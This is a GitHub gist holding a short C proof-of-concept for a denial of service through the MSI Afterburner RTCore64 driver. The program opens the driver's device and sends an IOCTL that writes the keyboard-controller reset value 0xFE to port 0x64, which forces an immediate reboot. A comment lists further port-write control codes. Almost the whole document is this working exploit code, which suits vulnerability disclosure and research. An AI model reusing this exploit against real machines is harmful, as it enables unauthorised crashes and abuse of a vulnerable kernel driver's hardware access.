Created
January 25, 2020 13:40
-
-
Save hfiref0x/a2e7a371e6769877adb7648e7d9b40f9 to your computer and use it in GitHub Desktop.
RTCore64 DoS Proof-of-concept
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
#include <windows.h> | |
#include <cstdio> | |
typedef struct _RTCORE_WRITE_PORT_UCHAR { | |
ULONG Port; | |
ULONG Value; | |
} RTCORE_WRITE_PORT_UCHAR, * PRTCORE_WRITE_PORT_UCHAR; | |
#define KBRD_INTRFC 0x64 | |
#define KBRD_RESET 0xFE | |
int main() | |
{ | |
printf_s("[!] MSI Afterburner RTCore32/64 Denial of service demo\r\n"); | |
HANDLE deviceHandle = CreateFile(TEXT("\\\\.\\RTCore64"), | |
GENERIC_READ | GENERIC_WRITE, | |
0, | |
NULL, | |
OPEN_EXISTING, | |
0, | |
NULL); | |
if (deviceHandle == INVALID_HANDLE_VALUE) { | |
printf_s("[!] Unable to open device\r\n"); | |
return -1; | |
} | |
RTCORE_WRITE_PORT_UCHAR request = { 0x64, 0xFE }; | |
DWORD bytesReturned; | |
// | |
// 0x80002014 WRITE_PORT_UCHAR | |
// 0x80002018 WRITE_PORT_USHORT | |
// 0x8000201C WRITE_PORT_ULONG | |
// | |
if (!DeviceIoControl(deviceHandle, | |
0x80002014, | |
&request, | |
sizeof(request), | |
&request, | |
sizeof(request), | |
&bytesReturned, | |
NULL)) | |
{ | |
printf_s("[!] Error output to the port\r\n"); | |
} | |
CloseHandle(deviceHandle); | |
} |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment
That's actually was a plan, but then I forgot about it. Regardless of that, it compliles to the same code as result.